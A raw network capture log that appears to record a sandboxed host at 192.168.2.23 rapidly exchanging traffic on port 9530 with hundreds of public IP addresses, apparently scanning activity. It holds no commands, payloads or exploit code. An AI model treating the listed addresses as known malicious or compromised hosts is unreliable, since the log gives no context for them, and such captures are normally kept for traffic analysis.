May 16, 2024 16:38:50.034728050 CEST	9530	55095	124.43.146.243	192.168.2.23
May 16, 2024 16:38:50.034737110 CEST	55095	9530	192.168.2.23	202.154.219.115
May 16, 2024 16:38:50.034737110 CEST	55095	9530	192.168.2.23	101.55.71.167
May 16, 2024 16:38:50.034738064 CEST	9530	55095	212.7.178.150	192.168.2.23
May 16, 2024 16:38:50.034738064 CEST	55095	9530	192.168.2.23	143.239.87.227
May 16, 2024 16:38:50.034738064 CEST	55095	9530	192.168.2.23	80.156.234.254
May 16, 2024 16:38:50.034744978 CEST	55095	9530	192.168.2.23	143.58.248.81
May 16, 2024 16:38:50.034750938 CEST	55095	9530	192.168.2.23	194.138.11.32
May 16, 2024 16:38:50.034751892 CEST	9530	55095	12.96.22.65	192.168.2.23
May 16, 2024 16:38:50.034763098 CEST	9530	55095	113.208.180.228	192.168.2.23
May 16, 2024 16:38:50.034765005 CEST	55095	9530	192.168.2.23	34.45.191.63
May 16, 2024 16:38:50.034771919 CEST	9530	55095	174.181.246.151	192.168.2.23
May 16, 2024 16:38:50.034771919 CEST	55095	9530	192.168.2.23	212.7.178.150
May 16, 2024 16:38:50.034780979 CEST	55095	9530	192.168.2.23	12.96.22.65
May 16, 2024 16:38:50.034780979 CEST	9530	55095	99.61.71.242	192.168.2.23
May 16, 2024 16:38:50.034792900 CEST	9530	55095	121.86.210.69	192.168.2.23
May 16, 2024 16:38:50.034794092 CEST	55095	9530	192.168.2.23	124.43.146.243
May 16, 2024 16:38:50.034801960 CEST	9530	55095	205.189.201.93	192.168.2.23
May 16, 2024 16:38:50.034810066 CEST	9530	55095	73.193.142.112	192.168.2.23
May 16, 2024 16:38:50.034816027 CEST	55095	9530	192.168.2.23	113.208.180.228
May 16, 2024 16:38:50.034826994 CEST	55095	9530	192.168.2.23	121.86.210.69
May 16, 2024 16:38:50.034840107 CEST	55095	9530	192.168.2.23	73.193.142.112
May 16, 2024 16:38:50.034840107 CEST	55095	9530	192.168.2.23	174.181.246.151
May 16, 2024 16:38:50.034909964 CEST	55095	9530	192.168.2.23	99.61.71.242
May 16, 2024 16:38:50.034909964 CEST	55095	9530	192.168.2.23	205.189.201.93
May 16, 2024 16:38:50.036149025 CEST	9530	55095	222.253.122.167	192.168.2.23
May 16, 2024 16:38:50.036160946 CEST	9530	55095	81.52.63.237	192.168.2.23
May 16, 2024 16:38:50.036169052 CEST	9530	55095	175.57.16.186	192.168.2.23
May 16, 2024 16:38:50.036180019 CEST	9530	55095	4.151.102.95	192.168.2.23
May 16, 2024 16:38:50.036189079 CEST	9530	55095	172.98.213.197	192.168.2.23
May 16, 2024 16:38:50.036192894 CEST	9530	55095	64.229.2.113	192.168.2.23
May 16, 2024 16:38:50.036201000 CEST	9530	55095	123.13.71.98	192.168.2.23
May 16, 2024 16:38:50.036202908 CEST	55095	9530	192.168.2.23	81.52.63.237
May 16, 2024 16:38:50.036205053 CEST	55095	9530	192.168.2.23	222.253.122.167
May 16, 2024 16:38:50.036210060 CEST	9530	55095	204.89.138.59	192.168.2.23
May 16, 2024 16:38:50.036221981 CEST	9530	55095	71.205.130.186	192.168.2.23
May 16, 2024 16:38:50.036231041 CEST	9530	55095	54.159.124.154	192.168.2.23
May 16, 2024 16:38:50.036231041 CEST	55095	9530	192.168.2.23	172.98.213.197
May 16, 2024 16:38:50.036231995 CEST	55095	9530	192.168.2.23	123.13.71.98
May 16, 2024 16:38:50.036231041 CEST	55095	9530	192.168.2.23	64.229.2.113
May 16, 2024 16:38:50.036232948 CEST	55095	9530	192.168.2.23	175.57.16.186
May 16, 2024 16:38:50.036233902 CEST	55095	9530	192.168.2.23	4.151.102.95
May 16, 2024 16:38:50.036238909 CEST	9530	55095	176.2.15.121	192.168.2.23
May 16, 2024 16:38:50.036242962 CEST	55095	9530	192.168.2.23	204.89.138.59
May 16, 2024 16:38:50.036250114 CEST	9530	55095	201.170.204.202	192.168.2.23
May 16, 2024 16:38:50.036258936 CEST	9530	55095	82.208.32.215	192.168.2.23
May 16, 2024 16:38:50.036267996 CEST	9530	55095	126.158.143.143	192.168.2.23
May 16, 2024 16:38:50.036276102 CEST	55095	9530	192.168.2.23	71.205.130.186
May 16, 2024 16:38:50.036276102 CEST	55095	9530	192.168.2.23	176.2.15.121
May 16, 2024 16:38:50.036281109 CEST	55095	9530	192.168.2.23	54.159.124.154
May 16, 2024 16:38:50.036282063 CEST	9530	55095	110.44.224.252	192.168.2.23
May 16, 2024 16:38:50.036290884 CEST	9530	55095	2.150.97.190	192.168.2.23
May 16, 2024 16:38:50.036292076 CEST	55095	9530	192.168.2.23	201.170.204.202
May 16, 2024 16:38:50.036294937 CEST	55095	9530	192.168.2.23	82.208.32.215
May 16, 2024 16:38:50.036299944 CEST	9530	55095	42.64.84.76	192.168.2.23
May 16, 2024 16:38:50.036310911 CEST	9530	55095	151.61.67.183	192.168.2.23
May 16, 2024 16:38:50.036319017 CEST	9530	55095	132.220.162.45	192.168.2.23
May 16, 2024 16:38:50.036329031 CEST	9530	55095	212.26.239.242	192.168.2.23
May 16, 2024 16:38:50.036336899 CEST	9530	55095	190.219.175.50	192.168.2.23
May 16, 2024 16:38:50.036339045 CEST	55095	9530	192.168.2.23	2.150.97.190
May 16, 2024 16:38:50.036340952 CEST	55095	9530	192.168.2.23	126.158.143.143
May 16, 2024 16:38:50.036350012 CEST	55095	9530	192.168.2.23	42.64.84.76
May 16, 2024 16:38:50.036346912 CEST	9530	55095	50.19.15.109	192.168.2.23
May 16, 2024 16:38:50.036361933 CEST	9530	55095	40.252.79.116	192.168.2.23
May 16, 2024 16:38:50.036364079 CEST	55095	9530	192.168.2.23	132.220.162.45
May 16, 2024 16:38:50.036365986 CEST	55095	9530	192.168.2.23	212.26.239.242
May 16, 2024 16:38:50.036370039 CEST	9530	55095	156.183.185.94	192.168.2.23
May 16, 2024 16:38:50.036375999 CEST	9530	55095	67.176.3.176	192.168.2.23
May 16, 2024 16:38:50.036377907 CEST	55095	9530	192.168.2.23	110.44.224.252
May 16, 2024 16:38:50.036379099 CEST	55095	9530	192.168.2.23	190.219.175.50
May 16, 2024 16:38:50.036380053 CEST	55095	9530	192.168.2.23	151.61.67.183
May 16, 2024 16:38:50.036380053 CEST	9530	55095	24.3.180.235	192.168.2.23
May 16, 2024 16:38:50.036390066 CEST	9530	55095	207.240.65.170	192.168.2.23
May 16, 2024 16:38:50.036397934 CEST	9530	55095	191.172.10.151	192.168.2.23
May 16, 2024 16:38:50.036401987 CEST	9530	55095	142.41.32.214	192.168.2.23
May 16, 2024 16:38:50.036407948 CEST	55095	9530	192.168.2.23	40.252.79.116
May 16, 2024 16:38:50.036407948 CEST	55095	9530	192.168.2.23	24.3.180.235
May 16, 2024 16:38:50.036411047 CEST	9530	55095	88.139.172.53	192.168.2.23
May 16, 2024 16:38:50.036418915 CEST	55095	9530	192.168.2.23	50.19.15.109
May 16, 2024 16:38:50.036420107 CEST	55095	9530	192.168.2.23	67.176.3.176
May 16, 2024 16:38:50.036422014 CEST	9530	55095	130.255.89.73	192.168.2.23
May 16, 2024 16:38:50.036431074 CEST	9530	55095	85.92.254.159	192.168.2.23
May 16, 2024 16:38:50.036437035 CEST	55095	9530	192.168.2.23	191.172.10.151
May 16, 2024 16:38:50.036437035 CEST	55095	9530	192.168.2.23	130.255.89.73
May 16, 2024 16:38:50.036437988 CEST	55095	9530	192.168.2.23	156.183.185.94
May 16, 2024 16:38:50.036441088 CEST	9530	55095	130.131.203.10	192.168.2.23
May 16, 2024 16:38:50.036441088 CEST	55095	9530	192.168.2.23	142.41.32.214
May 16, 2024 16:38:50.036444902 CEST	55095	9530	192.168.2.23	207.240.65.170
May 16, 2024 16:38:50.036444902 CEST	55095	9530	192.168.2.23	88.139.172.53
May 16, 2024 16:38:50.036452055 CEST	9530	55095	125.48.97.158	192.168.2.23
May 16, 2024 16:38:50.036461115 CEST	9530	55095	25.109.107.91	192.168.2.23
May 16, 2024 16:38:50.036462069 CEST	55095	9530	192.168.2.23	85.92.254.159
May 16, 2024 16:38:50.036469936 CEST	9530	55095	72.5.94.250	192.168.2.23
May 16, 2024 16:38:50.036478996 CEST	9530	55095	183.123.245.137	192.168.2.23
May 16, 2024 16:38:50.036479950 CEST	55095	9530	192.168.2.23	130.131.203.10
May 16, 2024 16:38:50.036488056 CEST	9530	55095	87.37.189.189	192.168.2.23
May 16, 2024 16:38:50.036490917 CEST	55095	9530	192.168.2.23	125.48.97.158
May 16, 2024 16:38:50.036495924 CEST	9530	55095	198.16.228.247	192.168.2.23
May 16, 2024 16:38:50.036503077 CEST	55095	9530	192.168.2.23	72.5.94.250
May 16, 2024 16:38:50.036504030 CEST	55095	9530	192.168.2.23	25.109.107.91
May 16, 2024 16:38:50.036506891 CEST	55095	9530	192.168.2.23	183.123.245.137
May 16, 2024 16:38:50.036508083 CEST	9530	55095	113.150.9.100	192.168.2.23
May 16, 2024 16:38:50.036518097 CEST	9530	55095	164.35.4.61	192.168.2.23
May 16, 2024 16:38:50.036569118 CEST	55095	9530	192.168.2.23	113.150.9.100
May 16, 2024 16:38:50.036570072 CEST	55095	9530	192.168.2.23	164.35.4.61
May 16, 2024 16:38:50.036572933 CEST	55095	9530	192.168.2.23	198.16.228.247
May 16, 2024 16:38:50.036576033 CEST	55095	9530	192.168.2.23	87.37.189.189
May 16, 2024 16:38:50.037858009 CEST	9530	55095	60.28.0.194	192.168.2.23
May 16, 2024 16:38:50.037869930 CEST	9530	55095	100.39.247.105	192.168.2.23
May 16, 2024 16:38:50.037878990 CEST	9530	55095	84.84.212.118	192.168.2.23
May 16, 2024 16:38:50.037889004 CEST	9530	55095	133.233.172.129	192.168.2.23
May 16, 2024 16:38:50.037897110 CEST	9530	55095	91.112.184.219	192.168.2.23
May 16, 2024 16:38:50.037900925 CEST	9530	55095	187.29.226.44	192.168.2.23
May 16, 2024 16:38:50.037914991 CEST	9530	55095	41.210.214.245	192.168.2.23
May 16, 2024 16:38:50.037924051 CEST	9530	55095	166.254.122.80	192.168.2.23
May 16, 2024 16:38:50.037928104 CEST	9530	55095	151.176.109.228	192.168.2.23
May 16, 2024 16:38:50.037931919 CEST	9530	55095	99.70.229.232	192.168.2.23
May 16, 2024 16:38:50.037935972 CEST	9530	55095	121.136.25.114	192.168.2.23
May 16, 2024 16:38:50.037939072 CEST	9530	55095	199.21.23.79	192.168.2.23
May 16, 2024 16:38:50.037942886 CEST	9530	55095	186.176.71.31	192.168.2.23
May 16, 2024 16:38:50.037946939 CEST	9530	55095	151.63.222.240	192.168.2.23
May 16, 2024 16:38:50.037950039 CEST	9530	55095	38.222.45.60	192.168.2.23
May 16, 2024 16:38:50.037952900 CEST	9530	55095	196.17.65.200	192.168.2.23
May 16, 2024 16:38:50.037955999 CEST	9530	55095	167.77.66.111	192.168.2.23
May 16, 2024 16:38:50.037959099 CEST	9530	55095	216.14.30.169	192.168.2.23
May 16, 2024 16:38:50.037961960 CEST	9530	55095	146.146.65.55	192.168.2.23
May 16, 2024 16:38:50.037966013 CEST	9530	55095	107.170.49.105	192.168.2.23
May 16, 2024 16:38:50.037969112 CEST	9530	55095	132.240.67.73	192.168.2.23
May 16, 2024 16:38:50.037971973 CEST	9530	55095	169.62.138.142	192.168.2.23
May 16, 2024 16:38:50.037975073 CEST	9530	55095	209.34.59.177	192.168.2.23
May 16, 2024 16:38:50.037976027 CEST	55095	9530	192.168.2.23	84.84.212.118
May 16, 2024 16:38:50.037978888 CEST	9530	55095	158.45.178.184	192.168.2.23
May 16, 2024 16:38:50.037982941 CEST	55095	9530	192.168.2.23	91.112.184.219
May 16, 2024 16:38:50.037983894 CEST	9530	55095	103.0.220.207	192.168.2.23
May 16, 2024 16:38:50.037986994 CEST	9530	55095	92.213.151.177	192.168.2.23
May 16, 2024 16:38:50.037988901 CEST	55095	9530	192.168.2.23	187.29.226.44
May 16, 2024 16:38:50.037993908 CEST	9530	55095	217.140.20.58	192.168.2.23
May 16, 2024 16:38:50.037993908 CEST	55095	9530	192.168.2.23	60.28.0.194
May 16, 2024 16:38:50.037997961 CEST	55095	9530	192.168.2.23	100.39.247.105
May 16, 2024 16:38:50.037997961 CEST	55095	9530	192.168.2.23	133.233.172.129
May 16, 2024 16:38:50.038003922 CEST	9530	55095	151.105.215.126	192.168.2.23
May 16, 2024 16:38:50.038008928 CEST	9530	55095	198.153.136.111	192.168.2.23
May 16, 2024 16:38:50.038022995 CEST	9530	55095	80.50.177.30	192.168.2.23
May 16, 2024 16:38:50.038027048 CEST	9530	55095	14.87.193.82	192.168.2.23
May 16, 2024 16:38:50.038027048 CEST	55095	9530	192.168.2.23	151.176.109.228
May 16, 2024 16:38:50.038033962 CEST	55095	9530	192.168.2.23	132.240.67.73
May 16, 2024 16:38:50.038036108 CEST	55095	9530	192.168.2.23	99.70.229.232
May 16, 2024 16:38:50.038038969 CEST	9530	55095	198.54.124.192	192.168.2.23
May 16, 2024 16:38:50.038039923 CEST	55095	9530	192.168.2.23	199.21.23.79
May 16, 2024 16:38:50.038041115 CEST	55095	9530	192.168.2.23	80.50.177.30
May 16, 2024 16:38:50.038048029 CEST	55095	9530	192.168.2.23	41.210.214.245
May 16, 2024 16:38:50.038048983 CEST	9530	55095	162.227.196.230	192.168.2.23
May 16, 2024 16:38:50.038059950 CEST	9530	55095	206.59.22.246	192.168.2.23
May 16, 2024 16:38:50.038063049 CEST	55095	9530	192.168.2.23	151.63.222.240
May 16, 2024 16:38:50.038063049 CEST	55095	9530	192.168.2.23	196.17.65.200
May 16, 2024 16:38:50.038064003 CEST	55095	9530	192.168.2.23	209.34.59.177
May 16, 2024 16:38:50.038064003 CEST	55095	9530	192.168.2.23	166.254.122.80
May 16, 2024 16:38:50.038064003 CEST	55095	9530	192.168.2.23	121.136.25.114
May 16, 2024 16:38:50.038068056 CEST	55095	9530	192.168.2.23	38.222.45.60
May 16, 2024 16:38:50.038069010 CEST	55095	9530	192.168.2.23	186.176.71.31
May 16, 2024 16:38:50.038069010 CEST	9530	55095	130.146.214.96	192.168.2.23
May 16, 2024 16:38:50.038070917 CEST	55095	9530	192.168.2.23	216.14.30.169
May 16, 2024 16:38:50.038072109 CEST	55095	9530	192.168.2.23	146.146.65.55
May 16, 2024 16:38:50.038073063 CEST	55095	9530	192.168.2.23	167.77.66.111
May 16, 2024 16:38:50.038072109 CEST	55095	9530	192.168.2.23	158.45.178.184
May 16, 2024 16:38:50.038084030 CEST	55095	9530	192.168.2.23	107.170.49.105
May 16, 2024 16:38:50.038084030 CEST	55095	9530	192.168.2.23	92.213.151.177
May 16, 2024 16:38:50.038084030 CEST	55095	9530	192.168.2.23	169.62.138.142
May 16, 2024 16:38:50.038084030 CEST	55095	9530	192.168.2.23	217.140.20.58
May 16, 2024 16:38:50.038084030 CEST	55095	9530	192.168.2.23	103.0.220.207
May 16, 2024 16:38:50.038085938 CEST	9530	55095	40.171.226.72	192.168.2.23
May 16, 2024 16:38:50.038094997 CEST	9530	55095	54.89.24.127	192.168.2.23
May 16, 2024 16:38:50.038095951 CEST	55095	9530	192.168.2.23	198.153.136.111
May 16, 2024 16:38:50.038103104 CEST	55095	9530	192.168.2.23	151.105.215.126
May 16, 2024 16:38:50.038105011 CEST	9530	55095	24.42.249.103	192.168.2.23
May 16, 2024 16:38:50.038110971 CEST	55095	9530	192.168.2.23	206.59.22.246
May 16, 2024 16:38:50.038111925 CEST	55095	9530	192.168.2.23	198.54.124.192
May 16, 2024 16:38:50.038111925 CEST	55095	9530	192.168.2.23	14.87.193.82
May 16, 2024 16:38:50.038111925 CEST	55095	9530	192.168.2.23	162.227.196.230
May 16, 2024 16:38:50.038115978 CEST	9530	55095	53.221.3.43	192.168.2.23
May 16, 2024 16:38:50.038125992 CEST	9530	55095	145.224.45.243	192.168.2.23
May 16, 2024 16:38:50.038136005 CEST	9530	55095	118.96.126.81	192.168.2.23
May 16, 2024 16:38:50.038176060 CEST	55095	9530	192.168.2.23	40.171.226.72
May 16, 2024 16:38:50.038182974 CEST	55095	9530	192.168.2.23	53.221.3.43
May 16, 2024 16:38:50.038188934 CEST	55095	9530	192.168.2.23	145.224.45.243
May 16, 2024 16:38:50.038198948 CEST	55095	9530	192.168.2.23	54.89.24.127
May 16, 2024 16:38:50.038198948 CEST	55095	9530	192.168.2.23	24.42.249.103
May 16, 2024 16:38:50.038218021 CEST	55095	9530	192.168.2.23	130.146.214.96
May 16, 2024 16:38:50.038258076 CEST	55095	9530	192.168.2.23	118.96.126.81
May 16, 2024 16:38:50.039628029 CEST	9530	55095	147.16.136.195	192.168.2.23
May 16, 2024 16:38:50.039639950 CEST	9530	55095	132.235.244.179	192.168.2.23
May 16, 2024 16:38:50.039649010 CEST	9530	55095	192.25.17.40	192.168.2.23
May 16, 2024 16:38:50.039658070 CEST	9530	55095	12.96.207.170	192.168.2.23
May 16, 2024 16:38:50.039666891 CEST	9530	55095	183.74.124.135	192.168.2.23
May 16, 2024 16:38:50.039674997 CEST	9530	55095	79.36.0.205	192.168.2.23
May 16, 2024 16:38:50.039685965 CEST	55095	9530	192.168.2.23	147.16.136.195
May 16, 2024 16:38:50.039686918 CEST	9530	55095	192.56.12.228	192.168.2.23
May 16, 2024 16:38:50.039694071 CEST	55095	9530	192.168.2.23	192.25.17.40
May 16, 2024 16:38:50.039696932 CEST	9530	55095	48.36.219.100	192.168.2.23
May 16, 2024 16:38:50.039699078 CEST	55095	9530	192.168.2.23	79.36.0.205
May 16, 2024 16:38:50.039707899 CEST	9530	55095	165.171.227.226	192.168.2.23
May 16, 2024 16:38:50.039706945 CEST	55095	9530	192.168.2.23	12.96.207.170
May 16, 2024 16:38:50.039707899 CEST	55095	9530	192.168.2.23	132.235.244.179
May 16, 2024 16:38:50.039706945 CEST	55095	9530	192.168.2.23	183.74.124.135
May 16, 2024 16:38:50.039717913 CEST	9530	55095	2.123.76.213	192.168.2.23
May 16, 2024 16:38:50.039726019 CEST	55095	9530	192.168.2.23	192.56.12.228
May 16, 2024 16:38:50.039727926 CEST	9530	55095	103.28.72.73	192.168.2.23
May 16, 2024 16:38:50.039731979 CEST	55095	9530	192.168.2.23	48.36.219.100
May 16, 2024 16:38:50.039736032 CEST	9530	55095	187.109.147.238	192.168.2.23
May 16, 2024 16:38:50.039738894 CEST	55095	9530	192.168.2.23	165.171.227.226
May 16, 2024 16:38:50.039740086 CEST	9530	55095	84.53.139.182	192.168.2.23
May 16, 2024 16:38:50.039748907 CEST	9530	55095	198.210.84.112	192.168.2.23
May 16, 2024 16:38:50.039752960 CEST	55095	9530	192.168.2.23	2.123.76.213
May 16, 2024 16:38:50.039757967 CEST	9530	55095	104.251.173.142	192.168.2.23
May 16, 2024 16:38:50.039772987 CEST	9530	55095	77.44.83.57	192.168.2.23
May 16, 2024 16:38:50.039782047 CEST	9530	55095	61.238.211.118	192.168.2.23
May 16, 2024 16:38:50.039791107 CEST	9530	55095	213.131.54.124	192.168.2.23
May 16, 2024 16:38:50.039800882 CEST	9530	55095	155.64.195.200	192.168.2.23
May 16, 2024 16:38:50.039810896 CEST	9530	55095	203.2.242.200	192.168.2.23
May 16, 2024 16:38:50.039825916 CEST	9530	55095	172.107.204.247	192.168.2.23
May 16, 2024 16:38:50.039829969 CEST	9530	55095	194.140.61.129	192.168.2.23
May 16, 2024 16:38:50.039834023 CEST	55095	9530	192.168.2.23	187.109.147.238
May 16, 2024 16:38:50.039834023 CEST	55095	9530	192.168.2.23	84.53.139.182
May 16, 2024 16:38:50.039834023 CEST	55095	9530	192.168.2.23	104.251.173.142
May 16, 2024 16:38:50.039834976 CEST	55095	9530	192.168.2.23	103.28.72.73
May 16, 2024 16:38:50.039836884 CEST	55095	9530	192.168.2.23	213.131.54.124
May 16, 2024 16:38:50.039834976 CEST	55095	9530	192.168.2.23	198.210.84.112
May 16, 2024 16:38:50.039834976 CEST	55095	9530	192.168.2.23	77.44.83.57
May 16, 2024 16:38:50.039834976 CEST	55095	9530	192.168.2.23	61.238.211.118
May 16, 2024 16:38:50.039840937 CEST	9530	55095	90.75.255.232	192.168.2.23
May 16, 2024 16:38:50.039851904 CEST	9530	55095	46.236.148.70	192.168.2.23
May 16, 2024 16:38:50.039863110 CEST	9530	55095	73.105.204.181	192.168.2.23
May 16, 2024 16:38:50.039871931 CEST	9530	55095	109.110.83.13	192.168.2.23
May 16, 2024 16:38:50.039874077 CEST	55095	9530	192.168.2.23	172.107.204.247
May 16, 2024 16:38:50.039874077 CEST	55095	9530	192.168.2.23	194.140.61.129
May 16, 2024 16:38:50.039880991 CEST	9530	55095	155.250.153.70	192.168.2.23
May 16, 2024 16:38:50.039887905 CEST	55095	9530	192.168.2.23	90.75.255.232
May 16, 2024 16:38:50.039887905 CEST	55095	9530	192.168.2.23	46.236.148.70
May 16, 2024 16:38:50.039891005 CEST	9530	55095	194.70.132.221	192.168.2.23
May 16, 2024 16:38:50.039900064 CEST	9530	55095	134.18.161.254	192.168.2.23
May 16, 2024 16:38:50.039902925 CEST	55095	9530	192.168.2.23	73.105.204.181
May 16, 2024 16:38:50.039907932 CEST	55095	9530	192.168.2.23	109.110.83.13
May 16, 2024 16:38:50.039910078 CEST	9530	55095	197.136.4.85	192.168.2.23
May 16, 2024 16:38:50.039916039 CEST	55095	9530	192.168.2.23	155.64.195.200
May 16, 2024 16:38:50.039916039 CEST	55095	9530	192.168.2.23	203.2.242.200
May 16, 2024 16:38:50.039921045 CEST	9530	55095	93.166.209.224	192.168.2.23
May 16, 2024 16:38:50.039931059 CEST	9530	55095	158.74.240.247	192.168.2.23
May 16, 2024 16:38:50.039935112 CEST	55095	9530	192.168.2.23	155.250.153.70
May 16, 2024 16:38:50.039935112 CEST	55095	9530	192.168.2.23	134.18.161.254
May 16, 2024 16:38:50.039940119 CEST	9530	55095	206.141.96.208	192.168.2.23
May 16, 2024 16:38:50.039942026 CEST	55095	9530	192.168.2.23	194.70.132.221
May 16, 2024 16:38:50.039949894 CEST	9530	55095	135.15.49.112	192.168.2.23
May 16, 2024 16:38:50.039957047 CEST	55095	9530	192.168.2.23	93.166.209.224
May 16, 2024 16:38:50.039958954 CEST	9530	55095	115.157.118.95	192.168.2.23
May 16, 2024 16:38:50.039967060 CEST	9530	55095	77.72.54.33	192.168.2.23
May 16, 2024 16:38:50.039977074 CEST	9530	55095	130.180.151.144	192.168.2.23
May 16, 2024 16:38:50.039987087 CEST	9530	55095	5.201.7.113	192.168.2.23
May 16, 2024 16:38:50.039995909 CEST	9530	55095	114.191.127.254	192.168.2.23
May 16, 2024 16:38:50.040004969 CEST	9530	55095	162.181.124.93	192.168.2.23
May 16, 2024 16:38:50.040013075 CEST	9530	55095	59.252.225.11	192.168.2.23
May 16, 2024 16:38:50.040041924 CEST	55095	9530	192.168.2.23	206.141.96.208
May 16, 2024 16:38:50.040045023 CEST	55095	9530	192.168.2.23	158.74.240.247
May 16, 2024 16:38:50.040045023 CEST	55095	9530	192.168.2.23	135.15.49.112
May 16, 2024 16:38:50.040045023 CEST	55095	9530	192.168.2.23	130.180.151.144
May 16, 2024 16:38:50.040055037 CEST	55095	9530	192.168.2.23	115.157.118.95
May 16, 2024 16:38:50.040056944 CEST	55095	9530	192.168.2.23	5.201.7.113
May 16, 2024 16:38:50.040056944 CEST	55095	9530	192.168.2.23	162.181.124.93
May 16, 2024 16:38:50.040057898 CEST	55095	9530	192.168.2.23	114.191.127.254
May 16, 2024 16:38:50.040057898 CEST	55095	9530	192.168.2.23	77.72.54.33
May 16, 2024 16:38:50.040062904 CEST	55095	9530	192.168.2.23	197.136.4.85
May 16, 2024 16:38:50.041321039 CEST	9530	55095	17.125.127.78	192.168.2.23
May 16, 2024 16:38:50.041333914 CEST	9530	55095	120.146.9.254	192.168.2.23
May 16, 2024 16:38:50.041343927 CEST	9530	55095	113.246.134.151	192.168.2.23
May 16, 2024 16:38:50.041352987 CEST	9530	55095	35.39.123.44	192.168.2.23
May 16, 2024 16:38:50.041359901 CEST	9530	55095	92.129.41.95	192.168.2.23
May 16, 2024 16:38:50.041368008 CEST	9530	55095	130.51.113.196	192.168.2.23
May 16, 2024 16:38:50.041372061 CEST	9530	55095	98.228.160.188	192.168.2.23
May 16, 2024 16:38:50.041374922 CEST	55095	9530	192.168.2.23	59.252.225.11
May 16, 2024 16:38:50.041374922 CEST	55095	9530	192.168.2.23	17.125.127.78
May 16, 2024 16:38:50.041374922 CEST	55095	9530	192.168.2.23	120.146.9.254
May 16, 2024 16:38:50.041380882 CEST	9530	55095	185.246.65.197	192.168.2.23
May 16, 2024 16:38:50.041392088 CEST	9530	55095	114.68.88.59	192.168.2.23
May 16, 2024 16:38:50.041398048 CEST	55095	9530	192.168.2.23	113.246.134.151
May 16, 2024 16:38:50.041398048 CEST	55095	9530	192.168.2.23	35.39.123.44
May 16, 2024 16:38:50.041402102 CEST	9530	55095	91.240.200.242	192.168.2.23
May 16, 2024 16:38:50.041405916 CEST	55095	9530	192.168.2.23	98.228.160.188
May 16, 2024 16:38:50.041407108 CEST	55095	9530	192.168.2.23	130.51.113.196
May 16, 2024 16:38:50.041407108 CEST	55095	9530	192.168.2.23	185.246.65.197
May 16, 2024 16:38:50.041410923 CEST	9530	55095	151.56.53.250	192.168.2.23
May 16, 2024 16:38:50.041414976 CEST	9530	55095	71.39.145.24	192.168.2.23
May 16, 2024 16:38:50.041424036 CEST	9530	55095	60.123.18.76	192.168.2.23
May 16, 2024 16:38:50.041424990 CEST	55095	9530	192.168.2.23	92.129.41.95
May 16, 2024 16:38:50.041424990 CEST	55095	9530	192.168.2.23	114.68.88.59
May 16, 2024 16:38:50.041434050 CEST	9530	55095	17.155.190.134	192.168.2.23
May 16, 2024 16:38:50.041443110 CEST	9530	55095	18.137.200.129	192.168.2.23
May 16, 2024 16:38:50.041448116 CEST	55095	9530	192.168.2.23	151.56.53.250
May 16, 2024 16:38:50.041450977 CEST	9530	55095	168.55.152.6	192.168.2.23
May 16, 2024 16:38:50.041460991 CEST	9530	55095	43.104.32.206	192.168.2.23
May 16, 2024 16:38:50.041469097 CEST	9530	55095	144.58.183.87	192.168.2.23
May 16, 2024 16:38:50.041479111 CEST	9530	55095	63.117.199.41	192.168.2.23
May 16, 2024 16:38:50.041487932 CEST	9530	55095	183.113.240.47	192.168.2.23
May 16, 2024 16:38:50.041497946 CEST	9530	55095	96.98.91.98	192.168.2.23
May 16, 2024 16:38:50.041507006 CEST	9530	55095	44.169.211.253	192.168.2.23
May 16, 2024 16:38:50.041515112 CEST	9530	55095	201.220.7.74	192.168.2.23
May 16, 2024 16:38:50.041520119 CEST	9530	55095	141.178.41.235	192.168.2.23
May 16, 2024 16:38:50.041523933 CEST	55095	9530	192.168.2.23	17.155.190.134
May 16, 2024 16:38:50.041524887 CEST	9530	55095	101.115.253.189	192.168.2.23
May 16, 2024 16:38:50.041524887 CEST	55095	9530	192.168.2.23	91.240.200.242
May 16, 2024 16:38:50.041524887 CEST	55095	9530	192.168.2.23	168.55.152.6
May 16, 2024 16:38:50.041524887 CEST	55095	9530	192.168.2.23	60.123.18.76
May 16, 2024 16:38:50.041524887 CEST	55095	9530	192.168.2.23	144.58.183.87
May 16, 2024 16:38:50.041527987 CEST	55095	9530	192.168.2.23	183.113.240.47
May 16, 2024 16:38:50.041528940 CEST	9530	55095	156.125.39.152	192.168.2.23
May 16, 2024 16:38:50.041532993 CEST	55095	9530	192.168.2.23	43.104.32.206
May 16, 2024 16:38:50.041533947 CEST	55095	9530	192.168.2.23	96.98.91.98
May 16, 2024 16:38:50.041538000 CEST	9530	55095	54.50.154.36	192.168.2.23
May 16, 2024 16:38:50.041547060 CEST	9530	55095	115.251.81.245	192.168.2.23
May 16, 2024 16:38:50.041554928 CEST	55095	9530	192.168.2.23	201.220.7.74
May 16, 2024 16:38:50.041554928 CEST	55095	9530	192.168.2.23	71.39.145.24
May 16, 2024 16:38:50.041555882 CEST	9530	55095	20.158.16.216	192.168.2.23
May 16, 2024 16:38:50.041555882 CEST	55095	9530	192.168.2.23	18.137.200.129
May 16, 2024 16:38:50.041555882 CEST	55095	9530	192.168.2.23	63.117.199.41
May 16, 2024 16:38:50.041563034 CEST	55095	9530	192.168.2.23	141.178.41.235
May 16, 2024 16:38:50.041563034 CEST	55095	9530	192.168.2.23	156.125.39.152
May 16, 2024 16:38:50.041567087 CEST	9530	55095	99.246.204.235	192.168.2.23
May 16, 2024 16:38:50.041577101 CEST	9530	55095	66.160.137.136	192.168.2.23
May 16, 2024 16:38:50.041585922 CEST	9530	55095	164.45.225.161	192.168.2.23
May 16, 2024 16:38:50.041593075 CEST	55095	9530	192.168.2.23	54.50.154.36
May 16, 2024 16:38:50.041594028 CEST	9530	55095	102.55.239.14	192.168.2.23
May 16, 2024 16:38:50.041594028 CEST	55095	9530	192.168.2.23	115.251.81.245
May 16, 2024 16:38:50.041604996 CEST	9530	55095	54.15.92.175	192.168.2.23
May 16, 2024 16:38:50.041608095 CEST	55095	9530	192.168.2.23	101.115.253.189
May 16, 2024 16:38:50.041608095 CEST	9530	55095	173.44.4.121	192.168.2.23
May 16, 2024 16:38:50.041609049 CEST	55095	9530	192.168.2.23	44.169.211.253
May 16, 2024 16:38:50.041611910 CEST	9530	55095	54.130.246.197	192.168.2.23
May 16, 2024 16:38:50.041615009 CEST	55095	9530	192.168.2.23	99.246.204.235
May 16, 2024 16:38:50.041619062 CEST	9530	55095	178.140.100.63	192.168.2.23
May 16, 2024 16:38:50.041620970 CEST	55095	9530	192.168.2.23	164.45.225.161
May 16, 2024 16:38:50.041624069 CEST	55095	9530	192.168.2.23	66.160.137.136
May 16, 2024 16:38:50.041629076 CEST	55095	9530	192.168.2.23	173.44.4.121
